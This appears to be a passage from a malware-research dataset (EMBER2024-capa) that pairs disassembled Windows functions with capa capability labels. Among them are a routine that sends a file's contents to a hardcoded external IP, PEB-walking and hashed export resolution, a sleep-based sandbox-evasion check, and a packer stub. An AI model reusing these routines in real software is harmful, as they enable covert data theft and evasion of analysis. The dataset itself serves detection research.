joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002530
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x288
mov rax, qword [0x140029010]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x140002570
xor eax, eax
jmp 0x1400025e9
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x14000259b
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x1400025e9
mov eax, dword [rsp + 0x290]
cmp dword [rsp + 0x38], eax
jne 0x1400025c8
mov rax, qword [rsp + 0x298]
mov ecx, dword [rsp + 0x50]
mov dword [rax], ecx
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400025e9
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000259b
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140002ea0
add rsp, 0x288
ret

Function at 0x140002780
Capabilities:
Query environment variable

Disassembly:
sub rsp, 0x48
lea rdx, [0x140025334]
lea rcx, [0x140025e48]
call fcn.140006ed4
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x1400027ba
lea rcx, [0x140025e58]
call fcn.1400012a0
mov eax, 1
jmp 0x14000285b
lea rdx, [0x140025e70]
mov rcx, qword [rsp + 0x28]
call fcn.140001080
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x1400027f6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.GetEnvironmentStrings_failed___d__n
call fcn.1400012a0
xor eax, eax
jmp 0x14000285b
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
test eax, eax
je 0x140002841
mov r8, qword [rsp + 0x20]
lea rdx, str.__s_n
mov rcx, qword [rsp + 0x28]
call fcn.140001080
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cdqe
mov rcx, qword [rsp + 0x20]
lea rax, [rcx + rax*2]
mov qword [rsp + 0x20], rax
jmp 0x140002800
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rcx, qword [rsp + 0x28]
call fcn.14000710c
mov eax, 1
add rsp, 0x48
ret
Function at 0x140002860
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub rsp, 0xb8
mov rax, qword [0x140029010]
xor rax, rsp
mov qword [rsp + 0xa0], rax
lea rdx, [0x1400253d4]
lea rcx, [0x140025f08]
call fcn.140006ed4
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x1400028af
lea rcx, str.Cannot_open_file._n
call fcn.1400012a0
mov eax, 1
jmp 0x140002a77
lea rdx, str._n_n_n_n___PrintEnvironmentStrings_Information_n
mov rcx, qword [rsp + 0x40]
call fcn.140001080
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rsp + 0x7c]
movzx ecx, word [rsp + 0x7a]
movzx edx, word [rsp + 0x78]
movzx r8d, word [rsp + 0x76]
movzx r9d, word [rsp + 0x72]
movzx r10d, word [rsp + 0x70]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r8d
mov r8d, r10d
lea rdx, str._startTime_local_time:__04d__02d__02d__02d:_02d:_02d_n
mov rcx, qword [rsp + 0x40]
call fcn.140001080
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x48], eax
mov r8d, dword [rsp + 0x48]
lea rdx, [0x140026000]
mov rcx, qword [rsp + 0x40]
call fcn.140001080
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x4c], eax
mov r8d, dword [rsp + 0x4c]
lea rdx, str._Milliseconds_since_system_boot:__lu_n
mov rcx, qword [rsp + 0x40]
call fcn.140001080
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x50], eax
mov r8d, dword [rsp + 0x50]
lea rdx, str._diffcount_system_boot:__lu_n
mov rcx, qword [rsp + 0x40]
call fcn.140001080
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx eax, word [rsp + 0x8c]
movzx ecx, word [rsp + 0x8a]
movzx edx, word [rsp + 0x88]
movzx r8d, word [rsp + 0x86]
movzx r9d, word [rsp + 0x82]
movzx r10d, word [rsp + 0x80]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r8d
mov r8d, r10d
lea rdx, str._endTime_local_time:__04d__02d__02d__02d:_02d:_02d_n
mov rcx, qword [rsp + 0x40]
call fcn.140001080
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x5c], eax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x60], eax
mov eax, dword [rsp + 0x9c]
mov dword [rsp + 0x64], eax
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov r8, qword [rsp + 0x68]
lea rdx, str._Time_interval:__llu_seconds_n
mov rcx, qword [rsp + 0x40]
call fcn.140001080
mov rcx, qword [rsp + 0x40]
call fcn.14000710c
mov eax, 1
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140002ea0
add rsp, 0xb8
ret
Function at 0x140002b40
Capabilities:
Connect socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rdi
sub rsp, 0x620
mov rax, qword [0x140029010]
xor rax, rsp
mov qword [rsp + 0x610], rax
lea rdx, [rsp + 0x70]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140002b78
mov eax, 1
jmp 0x140002ccc
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0xffffffffffffffff
jne 0x140002ba8
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140002ccc
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, send
rep stosb byte [rdi], al
mov eax, 2
mov word [rsp + 0x58], ax
lea rcx, str.49.235.187.155
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0x5c], eax
mov cx, 0x1a0b
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x5a], ax
mov r8d, send
lea rdx, [rsp + 0x58]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140002c19
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x140002ccc
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x10000000
lea rcx, str.result.txt
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0xffffffffffffffff
jne 0x140002c61
mov eax, 1
jmp 0x140002ccc
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x50]
mov r8d, 0x400
lea rdx, [rsp + 0x210]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140002cb0
cmp dword [rsp + 0x50], 0
jbe 0x140002cb0
xor r9d, r9d
mov r8d, dword [rsp + 0x50]
lea rdx, [rsp + 0x210]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_send]
jmp 0x140002c61
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rcx, qword [rsp + 0x610]
xor rcx, rsp
call fcn.140002ea0
add rsp, 0x620
pop rdi
ret

Function at 0x140006e0c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140006c38

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x1400ba5e0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400ba5ed
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400ba5fd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400ba5e5
lea eax, [rcx + 1]
jmp 0x1400ba60b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400ba61e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400ba604
sub eax, 3
jb 0x1400ba63e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400ba68d
sar eax, 1
movsxd rbp, eax
jb 0x1400ba674
jmp 0x1400ba64c
add ebx, ebx
jne 0x1400ba64a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400ba674
inc ecx
add ebx, ebx
jne 0x1400ba65a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400ba674
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400ba66d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400ba65c
add ecx, 2
jmp 0x1400ba679
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1400ba5a2
jmp 0x1400ba5ed
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x20600
mov dl, 0xc
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400ba6d9
cmp rsi, rcx
jae 0x1400ba6e1
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400ba6c0
cmp al, 0x8f
ja 0x1400ba6c0
cmp byte [rsi - 2], 0xf
je 0x1400ba6c6
sub al, 0xe8
cmp al, 1
ja 0x1400ba6aa
cmp rsi, rcx
jae 0x1400ba6e1
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400ba6b0
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400ba6e1
lodsb al, byte [rsi]
jmp 0x1400ba6c0
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xb7000]
mov eax, dword [rdi]
or eax, eax
je 0x1400ba73e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xba2d4]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400ba6ee
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400ba738
mov qword [rbx], rax
add rbx, 8
jmp 0x1400ba70e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400ba778
cmp al, 0xef
ja 0x1400ba76a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400ba74a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400ba759
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x23f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400ba7cc
sub rsp, 0xffffffffffffff80
jmp 0x140020150
Function at 0x140001c80
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x198
mov rax, qword [0x14001f440]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov dword [rsp + 0x94], edx
mov qword [rsp + 0x88], rcx
cmp qword [rsp + 0x88], 0
je 0x140001cc8
mov eax, dword [rsp + 0x94]
cmp rax, 0
jne 0x140001cd9
mov qword [rsp + 0x98], 0
jmp 0x140001e83
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x78]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140001d1a
mov qword [rsp + 0x98], 0
jmp 0x140001e83
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x78]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
cmp dword [rax], 0x4550
je 0x140001d55
mov qword [rsp + 0x98], 0
jmp 0x140001e83
mov rdx, qword [rsp + 0x70]
add rdx, 0x18
lea rcx, [rsp + 0xa0]
mov r8d, 0xf0
call sub.VCRUNTIME140D.dll_memcpy
mov rax, qword [rsp + 0x80]
mov ecx, dword [rsp + 0x110]
add rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rcx + 0x20]
add rax, rcx
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rcx + 0x1c]
add rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
mov ecx, dword [rcx + 0x24]
add rax, rcx
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x4c], 0
mov eax, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x68]
cmp eax, dword [rcx + 0x14]
jae 0x140001e77
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
mov edx, dword [rsp + 0x4c]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x4c]
movzx edx, word [rdx + r8*2]
mov ecx, dword [rcx + rdx*4]
add rax, rcx
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x94]
mov dword [rsp + 0x34], eax
mov rcx, qword [rsp + 0x40]
call fcn.140001bc0
mov ecx, eax
mov eax, dword [rsp + 0x34]
cmp eax, ecx
jne 0x140001e62
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x98], rax
jmp 0x140001e83
jmp 0x140001e67
mov eax, dword [rsp + 0x4c]
add eax, 1
mov dword [rsp + 0x4c], eax
jmp 0x140001dd8
mov qword [rsp + 0x98], 0
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140001fb0
mov rax, qword [rsp + 0x28]
add rsp, 0x198
ret
Function at 0x140001eb0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
sub rsp, 0x48
mov dword [rsp + 0x3c], ecx
mov eax, dword [rsp + 0x3c]
cmp rax, 0
jne 0x140001ed4
mov qword [rsp + 0x40], 0
jmp 0x140001f88
mov rax, qword gs:[0x60]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140001f88
mov rax, qword [rsp + 0x20]
movzx eax, word [rax + 0x48]
cmp rax, 0
je 0x140001f65
mov rax, qword [rsp + 0x20]
mov rcx, qword [rax + 0x50]
call fcn.140001c20
mov ecx, dword [rsp + 0x3c]
cmp rax, rcx
jne 0x140001f60
mov rax, qword [rsp + 0x20]
mov rdx, qword [rax + 0x20]
lea rcx, [0x140005309]
call fcn.140001860
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + 0x20]
mov qword [rsp + 0x40], rax
jmp 0x140001f88
jmp 0x140001f76
lea rcx, [0x14000531f]
call fcn.140001860
jmp 0x140001f88
mov rax, qword [rsp + 0x20]
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
jmp 0x140001efe
mov rax, qword [rsp + 0x40]
add rsp, 0x48
ret
Function at 0x1400179b4
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0xa0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
nop
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140017a3d
movsxd rax, dword [0x14000003c]
lea rdi, [0x140000000]
add rax, rdi
cmp dword [rax], 0x4550
je 0x1400179ff
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x140017a4d
mov ecx, 0x20b
cmp word [rax + 0x18], cx
je 0x140017a15
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x140017a4d
cmp dword [rax + 0x84], 0xe
ja 0x140017a29
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
jmp 0x140017a4d
xor ebx, ebx
cmp dword [rax + 0xf8], ebx
setne bl
mov dword [rsp + 0xb0], ebx
jmp 0x140017a4d
xor ebx, ebx
mov dword [rsp + 0xb0], ebx
lea rdi, [0x140000000]
mov ecx, 1
call fcn.14001c410
test eax, eax
jne 0x140017a7d
cmp dword [0x14003fbb8], 1
jne 0x140017a69
call fcn.1400d0000
mov ecx, 0x1c
call fcn.14001b4e8
mov ecx, 0xff
call fcn.14001b0ac
call fcn.1400182c4
test eax, eax
jne 0x140017aa8
cmp dword [0x14003fbb8], 1
jne 0x140017a94
call fcn.14001b710
mov ecx, 0x10
call fcn.14001b4e8
mov ecx, 0xff
call fcn.14001b0ac
call fcn.14001c3a0
nop
call fcn.14001c0b0
test eax, eax
jns 0x140017ac1
mov ecx, 0x1b
call fcn.14001b040
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [0x140040c70], rax
call fcn.14001befc
mov qword [0x14003fba8], rax
call fcn.14001be04
test eax, eax
jns 0x140017aed
mov ecx, 8
call fcn.14001b040
call fcn.14001bb04
test eax, eax
jns 0x140017b00
mov ecx, 9
call fcn.14001b040
mov ecx, 1
call fcn.14001b14c
test eax, eax
je 0x140017b15
mov ecx, eax
call fcn.14001b040
call fcn.14001ba88
test byte [rsp + 0x6c], 1
movzx edx, word [rsp + 0x70]
mov r9d, 0xa
cmovne r9d, edx
mov r8, rax
xor edx, edx
mov rcx, rdi
call section..text
mov edi, eax
mov dword [rsp + 0x20], eax
test ebx, ebx
jne 0x140017b4c
mov ecx, eax
call fcn.14001b388
call fcn.14001b3a0
jmp 0x140017b6d
mov eax, edi
jmp 0x140017b76
mov rbx, qword [rsp + 0xb8]
add rsp, 0xa0
pop rdi
ret
sub rsp, 0x28
call fcn.14001c45c
add rsp, 0x28
jmp 0x1400179b4
Function at 0x1400111e5
Capabilities:
Terminate process

Disassembly:
jmp 0x140012cc0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011267
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014010
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014030
xor al, al
jmp 0x1400140b1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014043
xor al, al
jmp 0x1400140b1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001406d
xor al, al
jmp 0x1400140b1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014081
xor al, al
jmp 0x1400140b1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014093
xor al, al
jmp 0x1400140b1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400140af
xor al, al
jmp 0x1400140b1
mov al, 1
add rsp, 0x38
ret
Function at 0x140001180
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x40], rax
movzx ebx, cl
lea rax, [rsp + 0x30]
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000121e
mov rcx, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x28], 4
lea rdx, str.ShowSuperHidden
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rsp + 0x38], ebx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
test eax, eax
jne 0x140001218
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400021b0
add rsp, 0x50
pop rbx
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400021b0
add rsp, 0x50
pop rbx
ret
Function at 0x140002b84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002bce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002bce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002bce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002bce
cmp dword [rcx + 0x84], 0xe
jbe 0x140002bce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002bd0
xor al, al
add rsp, 0x28
ret
Function at 0x443060
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x4431e6
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x4431b2
mov ecx, dword [rax + 0x18]
mov dword [rsp + 0x10], ecx
mov qword [rsp], rax
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 8], rcx
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x20], 0
movzx ebx, byte [rsp + 0x70]
mov byte [rsp + 0x28], bl
call dbg.runtime.pcvalue
movsxd rax, dword [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x58]
mov edx, dword [rcx + 0x1c]
mov dword [rsp + 0x10], edx
mov qword [rsp], rcx
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 8], rcx
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x18], rdx
mov qword [rsp + 0x20], 0
movzx edx, byte [rsp + 0x70]
mov byte [rsp + 0x28], dl
call dbg.runtime.pcvalue
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x40]
cmp rcx, 0xffffffffffffffff
jne 0x44314d
lea rax, [0x005489e2]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
mov dword [rsp + 0x88], 0
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
cmp eax, 0xffffffff
je 0x443120
mov rdx, qword [rsp + 0x60]
mov rbx, qword [rdx + 0x38]
mov rsi, qword [rdx + 0x30]
cmp rcx, rbx
jge 0x443120
mov rbx, qword [rdx]
mov rdx, qword [rdx + 8]
jae 0x4431df
mov ecx, dword [rsi + rcx*4]
cmp rcx, rdx
jae 0x4431df
mov dword [rsp + 0x3c], eax
lea rax, [rbx + rcx]
mov qword [rsp], rax
call dbg.runtime.gostringnocopy
mov rax, qword [rsp + 0x10]
mov rcx, qword [rsp + 8]
mov qword [rsp + 0x78], rcx
mov qword [rsp + 0x80], rax
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x88], eax
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
lea rax, [0x005489e2]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
mov dword [rsp + 0x88], 0
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
call dbg.runtime.panicindex
ud2
call dbg.runtime.morestack_noctxt
jmp dbg.runtime.funcline1
Function at 0x443270
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rcx, qword gs:[0x28]
mov rcx, qword [rcx]
cmp rsp, qword [rcx + 0x10]
jbe 0x4433d2
sub rsp, 0x68
mov qword [rsp + 0x60], rbp
lea rbp, [rsp + 0x60]
mov rax, qword [rsp + 0x70]
mov ecx, dword [rax + 0x14]
mov dword [rsp + 0x10], ecx
mov qword [rsp], rax
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 8], rcx
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x18], rdx
mov rbx, qword [rsp + 0x88]
mov qword [rsp + 0x20], rbx
mov byte [rsp + 0x28], 1
call dbg.runtime.pcvalue
mov eax, dword [rsp + 0x30]
test eax, 7
jne 0x4432f2
mov dword [rsp + 0x90], eax
mov rbp, qword [rsp + 0x60]
add rsp, 0x68
ret
mov dword [rsp + 0x3c], eax
mov rax, qword [rsp + 0x70]
mov qword [rsp], rax
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 8], rcx
call dbg.runtime.funcname
mov rax, qword [rsp + 0x18]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x10]
mov qword [rsp + 0x58], rcx
mov rdx, qword [rsp + 0x70]
mov rbx, qword [rdx]
mov qword [rsp + 0x50], rbx
movsxd rdx, dword [rdx + 0x14]
mov qword [rsp + 0x48], rdx
call dbg.runtime.printlock
lea rax, [0x0054ad5d]
mov qword [rsp], rax
mov qword [rsp + 8], 0x10
call dbg.runtime.printstring
mov rax, qword [rsp + 0x58]
mov qword [rsp], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 8], rax
call dbg.runtime.printstring
call dbg.runtime.printsp
mov rax, qword [rsp + 0x50]
mov qword [rsp], rax
